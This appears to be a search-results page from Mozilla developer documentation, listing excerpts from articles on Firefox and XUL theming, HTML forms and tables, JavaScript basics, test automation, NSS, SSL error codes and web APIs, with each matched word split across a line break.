...lbar buttons is one of the most difficult tasks when making extensions. it is not too hard to come up with some graphics for the buttons, but it can be hard to make them blend in with firefox on all operating systems. the way icons are handled in firefox changed considerably after firefox 4, so supporting older versions is not mentioned here (you can check this document's change history for older
revisions, though). these are the current icon sets for firefox: windows mac os x (lion and above) mac os x linux (gnome) note: the images above are probably not distributable under the same cc license, unlike the rest of this material. here are the key similarities and differences between the 3 themes: all systems use small icons that are 16x16 pixels. only the gnome theme has ...
...n from using a single file. to get the region that corresponds to a specific state of an icon, the -moz-image-region css property is used. here are some examples of how the css for a toolbarbutton would look like on the 3 major platforms. this assumes that you've set the class xs-hw-toolbarbutton to all of your buttons. windows: /* the second and third selectors at the bottom are necessary to p
revent conflicts with installed themes. */ toolbarbutton.xulschoolhello-toolbarbutton, window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton, toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton { list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png"); } #xulschoolhello-hello-world-button { -moz-image-region: rect(0px, 16px, 16px, 0px); } mac ...
...And 4 more matches
Getting Started - Archive of obsolete content
the same way you open up zip files. mozilla currently comes with two skins, classic and modern. looking in the directory you'll also notice that there are classic.jar and modern.jar files. for this tutorial we are going to use the classic skin as a base. extract classic.jar into \classic (\mozilla\chrome\classic), but make sure to keep the directory structure. remember if at any point you wish to
revert back to the original code again, just extract this jar over top of what you've modified. now all of the css and images are extracted, but if you make some changes and run mozilla as it is, you will not see them because it's still set to look at the files in the jar files. to point mozilla at the correct files we need to open up \mozilla\chrome\installed-chrome.txt in a text editor. you should ...
... by that change. after you've changed the images, launch mozilla and you should see them. creating the install script getting it ready for the installation before we can package everything up for installation, we need to remove all references to classic. copy everything in \mozilla\chrome\classic\skin\classic to a directory called \myskin. skin info when switching skins in mozilla, it displays a p
review image and some information about the theme. this is what we're going to create now. take a screenshot of mozilla running your theme and create an image that is 438x89 pixels in size. place it in \myskin and call it p
review.png (if it's a jpg or gif call it p
review.jpg or p
review.gif). make a copy of contents.rdf and place it in \myskin and open it up in your text editor. this file is a small x...
... the part listed above. change the blue part to whatever you want your theme called and then its version number. then scroll down to the next section. <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="p
review.png"> the blue areas are explained below. the first line should match the line that you modified in the p
revious section. the display name. that is what the user sees in the preference panels list of themes. the access key is what key you can press to activate the skin in the preferences. replace the author section with your name. the description shows up below the p
review image. place...
...And 4 more matches
Tamarin Build System Documentation - Archive of obsolete content
ox compile, sandbox smoke, sandbox test tamarin-central is considered a "sandbox" and will appear under sandbox phase what are the build phases? compile, smoke, test. when all of the slave machines are free they all start the first build phase simultaneously. if an error or failure occurs on any slave in a phase the build stops. the next phase is started when all slaves have completed the p
revious phase successfully. the compile phase compiles all of the tamarin source code and builds all of the shell executables, any errors will stop the phase and a red box will appear on the slave where the error occurred. the compile phase takes about 20-25 minutes. the smoke phase runs a set of tests on each platform until 2 minute is exceeded. the set of smoke tests can contain any shell build...
... all checkins since the last build each sandbox build occurs in the order they were submitted, the submitter may cancel a build. how do i build a sandbox build? create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm enter the repository url,
revision number, email address, and description. the description appears in the buildbot status page, please describe what you are trying to build and test after submitting a sandbox build view the build status page or the queue (if buildbot is busy) how do i view and change the queue? if buildbot is busy the queue is displayed http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm th...
...ntel-10_5/scripts . ; cd scripts edit environment.sh, change the basedir and buildsdir settings (around line 51) basedir=~/hg/tamarin-redux (path to my test repository) (next line) buildsdir=~/hg/builds (a directory to store downloaded builds) always set current working directory to the scripts directory when running a script run a script (e.g.) ../all/run-acceptance-release.sh <optional hg
revision number like 1902> how do i navigate the build status page? the page is divided into the phase table at the top and the waterfall table below the phase table shows all phases at the top of the page, each slave is shown as a box with a red,green, or yellow color: red means failed, green passed, and yellow has warnings. the phase state is idle or active click on the phase (e.g. compile, sm...
...And 4 more matches
Building accessible custom components in XUL - Archive of obsolete content
<code> @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); grid.spreadsheet { border: thin solid; } grid.spreadsheet label { border-bottom: 1px solid black; border-left: 1px solid black; margin: 0; padding: 3px; } grid.spreadshee...
...lodging" flex="1"/> <label x2:role="wairole:gridcell" value="dinner" flex="1"/> <label x2:role="wairole:gridcell" value="lodging" flex="1"/> <label x2:role="wairole:gridcell" value="breakfast" flex="1"/> <label x2:role="wairole:gridcell" value="lunch" flex="1"/> <label x2:role="wairole:gridcell" value="dinner" flex="1"/> </column> <-- several columns omitted for b
revity --> </columns> </grid> </code> the resulting spreadsheet looks exactly the same visually, but the difference to an assistive technology is enormous. each label, which was p
reviously exposed as a text label, is now exposed as a cell. <caption>cells are exposed as cells</caption> each column header, p
reviously exposed as a text label, is now exposed to assistive technologies as an act...
...ce the individual cells are not in the tab order, clicking on a spreadsheet cell and tabbing off will move to the spreadsheet's next sibling control, which is what we want. the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way around the tab order and coming back into the spreadsheet), we need to programmatically reset the focus to the p
reviously focused cell. this is handled in the spreadsheet_focus function, which is registered as a handler for the focus event. <code> var gfocuscell = null; function install_handlers() { var spreadsheet = window.document.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('click', spreadsheet_click, true); } ...
...And 4 more matches
Box Objects - Archive of obsolete content
about mozilla layout mozilla divides things into two sets of trees, the content tree and the layout tree. the content tree stores the nodes as they are found in the source code. the layout tree holds a different tree of nodes for each individual component that can be displayed. the layout tree holds the structure as the nodes are expected to be displayed there is not necessarily a one to one relationship between content and layout nodes. some content nodes may have several layout objects, for example, each line of a paragraph has a separate layout object. ...
... to determine the display order of elements, which may not be the same as the order in the source. recall that dom properties such as childnodes, firstchild, and nextsibling may be used to navigate the document tree. the box object also allows navigation in a similar means but retrieves the elements in display order. the box object provides several properties, firstchild, lastchild, nextsibling, p
revioussibling, and parentbox. their function should be self explanatory from their names. these properties return elements, for example, the firstchild property returns the first displayed child element. there is no corresponding childnodes property for box navigation; instead you must navigate by sibling using the nextsibling or p
revioussibling properties. unlike with navigating the dom tree, hidde...
...pear in the same order as in the source. if you then press the button labeled one again, its ordinal will increase to 3 and will move to the end. finally, pressing the button labeled three will increase its ordinal to 2 and it will appear in between the other two buttons. dir attribute the final box ordering attribute is the dir attribute, or the -moz-box-direction css property. ...
...And 4 more matches
Building up a basic demo with Three.js - Game development
colour, instead of the default black one. add this code into our second <script> element, just below the javascript comment. scene a scene is the place where everything happens. when creating new objects in the demo, we add them all inside the scene to become visible on the screen. in three.js, the scene is represented by a scene object. let's create it, by adding the following line below our p
revious lines: var scene = new three.scene(); later, we will be using the .add() method, to add objects to this scene. camera we have the rendered scene, but we still need to add a camera to view our handiwork — imagine a movie set without any cameras. the following lines put the camera in place in the 3d coordinate system, and point it in the direction of our scene, so we can finally see some...
...we still need to add a camera to view our handiwork — imagine a movie set without any cameras. the following lines put the camera in place in the 3d coordinate system, and point it in the direction of our scene, so we can finally see something: var camera = new three.perspectivecamera(70, width/height); camera.position.z = 50; scene.add(camera); add the above lines to your code, below those p
reviously added. there are other types of camera available (cube, orthographic), but the simplest is perspective. to initialize it, we have to set its field of view and aspect ratio: the former is used to set how much is seen, and the latter is important for the objects on the screen to have the right proportions when rendered, and not look stretched. let's explain values we are setting for the code...
...stantly on every frame: function render() { requestanimationframe(render); renderer.render(scene, camera); } render(); on every new frame the render function is invoked, and the renderer renders the scene and the camera. right after the function declaration, we're invoking it for the first time to start the loop, after which it will be used indefinitely. again, add this new code below your p
revious additions. try saving the file and opening it in your browser. you should now see a gray window. congratulations! geometry now our scene is properly rendering, we can start adding 3d shapes. to speed up development, three.js provides a bunch of predefined primitives, which you can use to create shapes instantly in a single line of code. there's cubes, spheres, cylinders, and more complicate...
...And 4 more matches
How to structure a web form - Learn web development
prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand how to structure html forms and give them semantics so they are usable and accessible. the flexibility of forms makes them one of the most complex structures in html; you can build any kind of basic form using dedicated form elements and attributes. using correct structure when building an html form will help ensure that the form is both usable and accessible. ...
...ible. the <form> element the <form> element formally defines a form and attributes that determine the form's behavior. each time you want to create an html form, you must start it by using this element, nesting all the contents inside. many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use. we already met this in the p
revious article. warning: it's strictly forbidden to nest a form inside another form. nesting can cause forms to behave in an unpredictable manner, so it is a bad idea. it's always possible to use a form control outside of a <form> element. if you do so, by default that control has nothing to do with any form unless you associate it with a form using the form attribute. this was introduced to let y...
...ieldsets improves usability. because of its influence over assistive technology, the <fieldset> element is one of the key elements for building accessible forms; however it is your responsibility not to abuse it. if possible, each time you build a form, try to listen to how a screen reader interprets it. if it sounds odd, try to improve the form structure. ...
...And 4 more matches
Advanced text formatting - Learn web development
the elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). here you'll learn about marking up quotations, description lists, computer code and other related text, subscript and superscript, contact information, and more. prerequisites: basic html familiarity, as covered in getting started with html. html text formatting, as covered in html text fundamentals. objective: to learn how to use lesser-known html elements to mark up advanced semantic features. ...
... <dd>the drink that gets the world running in the morning.</dd>\n <dd>a light brown color.</dd>\n</dl>'; const solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...p://www.affirmationsforpositivethinking.com"><cite>affirmations for positive thinking</cite></a>.)</p>'; const solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
prerequisites: the basics of html (see introduction to html). objective: to learn about more advanced html table features, and the accessibility of tables. adding a caption to your table with <caption> you can give your table a caption by putting it inside a <caption> element and nesting that inside the <table> element. you should put it just below the opening <table> tag. <table> <caption>dinosaurs in the jurassic period</caption> ... ...
...ectly beneath the <table> tag. note: the summary attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders. we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out,
revisiting an example we first met in the p
revious article. open up your language teacher's school timetable from the end of html table basics, or make a local copy of our timetable-fixed.html file. add a suitable caption for the table. save your code and open it in a browser to see what it looks like. note: you can find our version on github — see timetable-caption.html (see it live also).
... the <thead> element must wrap the part of the table that is the header — this is usually the first row containing the column headings, but this is not necessarily always the case. if you are using <col>/<colgroup> element, the table header should come just below those. the <tfoot> element needs to wrap the part of the table that is the footer — this might be a final row with items in the p
revious rows summed, for example. you can include the table footer right at the bottom of the table as you'd expect, or just below the table header (the browser will still render it at the bottom of the table). the <tbody> element needs to wrap the other parts of the table content that aren't in the table header or footer. it will appear below the table header or sometimes footer, depending on how y...
...And 4 more matches
Index - Learn web development
ript. you should understand these concepts before working through the other articles in the module. 53 graceful asynchronous programming with promises beginner, codingscripting, guide, javascript, learn, promises, async, asynchronous, catch, finally, then promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a p
revious action has completed, or respond to its failure. 54 introducing asynchronous javascript beginner, codingscripting, guide, introducing, javascript, learn, promises, async, asynchronous, await, callbacks in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounte...
...uage, therefore we've provided this module to help you. here we teach object theory and syntax in detail, then look at how to create your own objects. 65 adding features to our bouncing balls demo assessment, beginner, codingscripting, javascript, learn, oojs, object-oriented, objects, l10n:priority in this assessment, you are expected to use the bouncing balls demo from the p
revious article as a starting point, and add some new and interesting features to it. 66 inheritance in javascript article, beginner, codingscripting, constructor, function, getter, inheritance, javascript, learn, oojs, oop, object, object member, prototype, extends, l10n:priority, setter this article has covered the remainder of the core oojs theory and syntax that we think you ...
...ocks such as conditional statements, loops, functions, and events. you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. 90 build your own function article, beginner, codingscripting, functions, guide, javascript, learn, tutorial, build, invoke, l10n:priority, parameters with most of the essential theory dealt with in the p
revious article, this article provides practical experience. here you will get some practice building your own, custom function. along the way, we'll also explain some useful details of dealing with functions. 91 function return values article, beginner, codingscripting, functions, guide, javascript, learn, return, return values, l10n:priority there's one last essential concept a...
...And 4 more matches
Looping code - Learn web development
here we'll look at the loop structures available in javascript that handle such needs. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand how to use loops in javascript. keep me in the loop loops, loops, loops. as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in programming. ...
...+= 'and ' + cats[i] + '.'; } else { info += cats[i] + ', '; } } note: you can find this example code on github too (also see it running live). important: with for — as with all loops — you must make sure that the initializer is incremented or, depending on the case, decremented, so that it eventually reaches the point where the condition is not true. ...
...ing on the case, decremented, so that it eventually reaches the point where the condition is not true. if not, the loop will go on fo
rever, and either the browser will force it to stop, or it will crash. this is called an infinite loop. exiting loops with break if you want to exit a loop before all the iterations have been completed, you can use the break statement. we already met this in the p
revious article when we looked at switch statements — when a case is met in a switch statement that matches the input expression, the break statement immediately exits the switch statement and moves onto the code after it. it's the same with loops — a break statement will immediately exit the loop and make the browser move on to any code that follows it. say we wanted to search through an array...
...And 4 more matches
Drawing graphics - Learn web development
this article provides an introduction to canvas, and further resources to allow you to learn more. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascript. ...
... now try drawing some more rectangles of your own; have fun! strokes and line widths so far we've looked at drawing filled rectangles, but you can also draw rectangles that are just outlines (called strokes in graphic design). to set the color you want for your stroke, you use the strokestyle property; drawing a stroke rectangle is done using strokerect. ...
...ectangles of your own; have fun! strokes and line widths so far we've looked at drawing filled rectangles, but you can also draw rectangles that are just outlines (called strokes in graphic design). to set the color you want for your stroke, you use the strokestyle property; drawing a stroke rectangle is done using strokerect. ...
...And 4 more matches
Arrays - Learn web development
here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to understand what arrays are and how to manipulate them in javascript. what is an array? arrays are generally described as "list-like objects"; they are basically single objects that contain multiple values stored in a list. ...
... didn't have arrays, we'd have to store every item in a separate variable, then call the code that does the printing and adding separately for each item. this would be much longer to write out, less efficient, and more error-prone. if we had 10 items to add to the invoice it would already be annoying, but what about 100 items, or 1000? we'll return to this example later on in the article. as in p
revious articles, let's learn about the real basics of arrays by entering some examples into browser developer console. creating arrays arrays consist of square brackets and elements that are separated by commas. suppose we want to store a shopping list in an array. paste the following code into the console: let shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles']; shopping; in the ...
... note: we've said it before, but just as a reminder — computers start counting from 0! note that an array inside an array is called a multidimensional array. you can access an item inside an array that is itself inside another array by chaining two sets of square brackets together. for example, to access one of the items inside the array that is the third item inside the random array (see p
revious section), we could do something like this: random[2][2]; try making some more modifications to your array examples before moving on. play around a bit, and see what works and what doesn't. finding the length of an array you can find out the length of an array (how many items are in it) in exactly the same way as you find out the length (in characters) of a string — by using the leng...
...And 4 more matches
Introduction to automated testing - Learn web development
to handle this efficiently, you should become familiar with automation tools. in this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. ...
...r. automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. sounds like a lot of work, doesn't it? we agree — testing all the things we've looked at in p
revious articles manually can be a real pain. fortunately, there are tools to help us automate some of this pain away. there are two main ways in which we can automate the tests we've been talking about in this module: use a task runner such as grunt or gulp, or npm scripts to run tests and clean up code during your build process. this is a great way to perform tasks like linting and minifying cod...
...": "1.0.0", "description": "test for npm projects", "main": "index.js", "scripts": { "test": "test" }, "author": "chris mills", "license": "mit" } with this, you are ready to move on. setting up gulp automation let's look at setting up gulp and using it to automate some testing tools. to begin with, create a test npm project using the procedure detailed at the bottom of the p
revious section. next, you'll need some sample html, css and javascript content to test your system on — make copies of our sample index.html, main.js, and style.css files in a subfolder with the name src inside your project folder. you can try your own test content if you like, but bear in mind that such tools won't work on internal js/css — you need external files. first, install gulp globall...
...And 4 more matches
Setting up your own test automation environment - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing, and automated testing. objective: to show how to set up a selenium testing environment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack. ...
... prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing, and automated testing. objective: to show how to set up a selenium testing environment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack. ...
...um's official selenium-webdriver, as the documentation seems fairly up-to-date and it is well-maintained. if you want different options, webdriver.io and nightwatch.js are also good choices. to install selenium-webdriver, run the following command, making sure you are inside your project folder: npm install selenium-webdriver note: it is still a good idea to follow these steps even if you p
reviously installed selenium-webdriver and downloaded the browser drivers. you should make sure that everything is up-to-date. next, you need to download the relevant drivers to allow webdriver to control the browsers you want to test. you can find details of where to get them from on the selenium-webdriver page (see the table in the first section.) obviously, some of the browsers are os-specific, ...
...And 4 more matches
Package management basics - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand what package managers and package repositories are, why they are needed, and the basics of how to use them. a dependency in your project a dependency is a third-party bit of software that was probably written by someone else and ideally solves a single problem for you. ...
...y dependency will likely have been tested in a lot of different situations, making it more robust and cross-browser compatible than your own solution. a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in p
revious articles. without modern build tools, dependencies like this might be included in your project using a simple <script> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web. a bundle is the term that’s generally used to refer to a single file on your web server that ...
...of which there could be tens, or hundreds. removing all the files again if you want to remove the packages. in addition, package managers handle duplicate dependencies (something that becomes important and common in front-end development). in the case of npm (and javascript- and node-based package managers) you have two options for where you install your dependencies. as we touched on in the p
revious article, dependencies can be installed globally or locally to your project. although there tend to be more pros for installing globally, the pros for installing locally are more important — such as code portability and version locking. for example, if your project relied on webpack with a certain configuration, you'd want to ensure that if you installed that project on another machine or r...
...And 4 more matches
IME handling guide
this is a technical term from windows but these days, this is used on other platforms as well. ime is a helper application of a user's text input. it handles native key events before or after focused application (depending on the platform) and creates a composition string (a.k.a. preedit string), suggests a list of what the user attempts to input, commits composition string as a selected item off the list and commits composition string without any conversion. ...
...s ascii control characters from dispatching composition event's data in the default settings. although, this can be disabled with "dom.compositionevent.allow_control_characters" pref. finally, this class guarantees that requesting to commit or cancel current composition to ime is perefored synchronously. see forcibly committing composition section for the detail. editor/libeditor mozilla::edito
reventlistener listens for trusted dom compositionstart, text and compositionend events and notifies mozilla::editorbase and mozilla::texteditor of the events. when editorbase receives an ecompositionstart (dom "compositionstart") event, it looks for a proper textcomposition instance and stores it. when texteditor receives an ecompositionchange (dom "text") event, it creates or modifies a text node...
...tart from highet priority notification again. additionally, all notifications except notify_ime_of_blur should be sent only when it's safe to run script since the notification may cause querying content and/or dispatching composition events. notify_ime_of_focus when an editable editor gets focus and imecontentobserver starts to observe it, this is sent to widget. this must be called after the p
revious imecontentobserver notified widget of notify_ime_of_blur. note that even if there are pending notifications, they are canceled when notify_ime_of_focus is sent since querying content with following notifications immediately after getting focus does not make sense. the result is always same as the result of querying contents at receiving this notfication. notify_ime_of_blur when an imeconte...
...And 4 more matches
NSS API Guidelines
ut the code) is: the relationship of the certificate library with just about every other component (most noticeably pkcs #12, pkcs #7, and pkcs #11) splitting low key and high key components more clearly the crypto wrappers (pkcs #11 wrappers) and high key pkcs #12 and pkcs #5 libraries nss compiles into the libraries described below. the layer indicates the main layer, seen in the p
revious diagram, in which the library operates. the directory is the location of the library code in the nss source tree. the public headers is a list of header files that contain types, and functions, that are publicly available to higer-level apis. library description layer directory public headers certdb provides all certificate handling functions and types. the c...
...ta in java archive (jar) format, including zlib compression. port lib/jar jar-ds.h, jar.h, jarfile.h nss provides high-level initialiazation and shutdown of security services. specifically, this library provides nss_init() for establishing default certificate, key, module databases, and initializing a default random number generator. nss_shutdown() closes these databases, to p
revent further access by an application. above high cert, high key lib/nss nss.h pk11wrap provides access to pkcs #11 modules, through a unified interface. the pkcs11wrap library provides functions for selecting/finding pkcs #11 modules and slots. it also provides functions that invoke operations in selected modules and slots, such as key selection and generation, signing, encryp...
...em.h, secoid.h, secoidt.h, secport.h, secrng.h, secrngt.h, secerr.h, watcomfx.h naming conventions this section describes the rules that (ideally) should be followed for naming and identifying new files, functions, and data types. cvs id each file should include a cvs id string for identification. the preferred format is: "@(#) $rcsfile: nss-guidelines.html, v $ $
revision: 48936 $ $date: 2009-08-11 07:45:57 -0700 (tue, 11 aug 2009) $ $name$" you can put the string in a comment or in a static char array. use #ifdef debug to include the array in debug builds only. the advantage of using an array is that you can use strings(1) to pull the id tags out of a (debug) compiled library. you can even put them in header files; the header files are protected from doubl...
...And 4 more matches
sslerr.html
tem has reported that it received a message with a bad message authentication code from the local system. this may indicate that an attack on that server is underway. ssl_error_bad_cert_alert -12271 "ssl peer cannot verify your certificate." the remote system has received a certificate from the local system, and has rejected it for some reason. ssl_error_
revoked_cert_alert -12270 "ssl peer rejected your certificate as
revoked." the remote system has received a certificate from the local system, and has determined that the certificate has been
revoked. ssl_error_expired_cert_alert -12269 "ssl peer rejected your certificate as expired." the remote system has received a certificate from the local system, an...
... security library: invalid ava. sec_error_invalid_time -8184 security library: invalid time. sec_error_bad_der -8183 security library: improperly formatted der-encoded message. sec_error_bad_signature -8182 peer's certificate has an invalid signature. sec_error_expired_certificate -8181 peer's certificate has expired. sec_error_
revoked_certificate -8180 peer's certificate has been
revoked. sec_error_unknown_issuer -8179 peer's certificate issuer is not recognized. sec_error_bad_key -8178 peer's public key is invalid sec_error_bad_password -8177 the password entered is incorrect. sec_error_retry_password -8176 new password entered incorrectly. sec_err...
... xp_sec_fortezza_person_error -8135 couldn't initialize fortezza personalities. sec_error_no_krl -8134 no krl for this site's certificate has been found. sec_error_krl_expired -8133 the krl for this site's certificate has expired. sec_error_krl_bad_signature -8132 the krl for this site's certificate has an invalid signature. sec_error_
revoked_key -8131 the key for this site's certificate has been
revoked. sec_error_krl_invalid -8130 new krl has an invalid format. sec_error_need_random -8129 security library: need random data. sec_error_no_module -8128 security library: no security module can perform the requested operation. sec_error_no_token -8127 the security car...
...And 4 more matches
nsIMsgFolder
e, in boolean newvalue); void notifypropertyflagchanged(in nsimsgdbhdr item, in nsiatom property, in unsigned long oldvalue, in unsigned long newvalue); void notifyunicharpropertychanged(in nsiatom property, in astring oldvalue, in astring newvalue); void notifyitemadded(in nsisupports item); void notifyitemremoved(in nsisupports item); void notifyfolde
revent(in nsiatom event); void listdescendents(in nsisupportsarray descendents); void shutdown(in boolean shutdownchildren); void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); ...
...d setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgp
reviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywordsfrommessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtextfromstream(in nsimsgdbhdr amsghdr, in...
...ue id to the folder, it is not a globally unique identifier. will return nsmsgkey_none if there was no last message loaded. note: does not persist across sessions. uri acstring readonly: old nsifolder properties and methods. name astring old nsifolder properties and methods. prettyname astring old nsifolder properties and methods. abb
reviatedname astring readonly: old nsifolder properties and methods. parent nsimsgfolder old nsifolder properties and methods. parentmsgfolder nsimsgfolder readonly: handy accessor when we want a msg folder. dbtransferinfo nsidbfolderinfo subfolders nsisimpleenumerator readonly: returns an enumerator containing a list of nsimsgfolder ...
...And 4 more matches
Drawing and Event Handling - Plugins
when it comes to determining the way a plug-in instance appears in a web page, you (and the web page author) have many options. the content provider who writes the web page determines its display mode: whether the plug-in is embedded, or displayed in its own separate page. you determine whether a plug-in is windowed or windowless by the way you define the plug-in itself. a windowed plug-in is drawn into its own native window (or portion of a native window) on a web page. a windowed plug-in is opaque, hiding the part of the page beneath its display window. ...
...all npp_setwindow again whenever the size or position of the instance changes, passing it the same npwindow object each time, but with different values. the browser can also call npp_setwindow multiple times with different values for the window, including null. for example, if a user removes an instance from the page, the browser should call npp_setwindow with a window value of null. this value p
revents the instance from drawing further until it is pasted back on the page and npp_setwindow is called again with a new value. mac os windows unix mac os on mac os, the browser passes an np_port structure in the window field of the npwindow structure. this structure contains a pointer to the graphics port (cgraphptr) into which the plug-in instance should draw and the x - and y - coordinat...
...gion to the region of the plug-in currently visible (not scrolled off the page, obscured by floating palettes, or otherwise hidden). however, for the plug-in to draw at any other time, for example, to highlight on a mouse-down event or draw animation at idle time, it must save the current setting of the port, set up its drawing environment as appropriate, draw, and then restore the port to the p
revious settings. in this case, the plug-in makes it unnecessary for the browser to save and restore its port settings before and after every call into the plug-in. the browser and the plug-in can both install drag manager handlers for the shared port. because the drag manager calls both handlers no matter where the cursor is, the browser does not show the drag highlight when the cursor is over an i...
...And 4 more matches
FileReader.readAsDataURL() - Web APIs
ring. note: the blob's result cannot be directly decoded as base64 without first removing the data-url declaration preceding the base64-encoded data. to retrieve only the base64 encoded string, first remove data:*/*;base64, from the result. syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file from which to read. ...
...ed as base64 without first removing the data-url declaration preceding the base64-encoded data. to retrieve only the base64 encoded string, first remove data:*/*;base64, from the result. syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file from which to read. ...
... the data-url declaration preceding the base64-encoded data. to retrieve only the base64 encoded string, first remove data:*/*;base64, from the result. syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file from which to read. ...
...And 4 more matches
File drag and drop - Web APIs
ach file; otherwise the datatransfer interface's files property is used to access each file. this example shows how to write the name of each dragged file to the console. in a real application, an application may want to process a file using the file api. note that in this example, any drag item that is not a file is ignored. ...
...tatransfer interface's files property is used to access each file. this example shows how to write the name of each dragged file to the console. in a real application, an application may want to process a file using the file api. note that in this example, any drag item that is not a file is ignored. function drophandler(ev) { console.log('file(s) dropped'); // p
revent default behavior (p
revent file from being opened) ev.p
reventdefault(); if (ev.datatransfer.items) { // use datatransferitemlist interface to access the file(s) for (var i = 0; i < ev.datatransfer.items.length; i++) { // if dropped items aren't files, reject them if (ev.datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('... file...
...datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('... file[' + i + '].name = ' + file.name); } } } else { // use datatransfer interface to access the file(s) for (var i = 0; i < ev.datatransfer.files.length; i++) { console.log('... ...
...And 4 more matches
Using the Permissions API - Web APIs
code is simple and unremarkable — below we'll just be walking through the permissions api-related code, so check the code yourself if you want to study any of the other parts. accessing the permissions api the navigator.permissions property has been added to the browser to allow access to the global permissions object. this object will eventually include methods for querying, requesting, and
revoking permissions, although currently it only contains permissions.query(); see below. querying permission state in our example, the permissions functionality is handled by one function — handlepermission(). this starts off by querying the permission status using permissions.query(). depending on the value of the state property of the permissionstatus object returned when the promise resolves...
...promise resolves, it reacts differently: "granted" the "enable geolocation" button is hidden, as it isn't needed if geolocation is already active. "prompt" the "enable geolocation" button is hidden, as it isn't needed if the user will be prompted to grant permission for geolocation. the geolocation.getcurrentposition() function is then run, which prompts the user for permission; it runs the
revealposition() function if permission is granted (which shows the map), or the positiondenied() function if permission is denied (which makes the "enable geolocation" button appear). "denied" the "enable geolocation" button is
revealed (this code needs to be here too, in case the permission state is already set to denied for this origin when the page is first loaded). function handlepermission(...
...in when the page is first loaded). ...
...And 4 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
ied. with no orientation data included in the transform, the orientation of arefspace is unaffected. converting between webxr session types another common reason you may need to convert positional information from one reference space to another is when it's necessary to change the session type from inline to immersive-vr or back. this commonly happens when your user interface provides a way to p
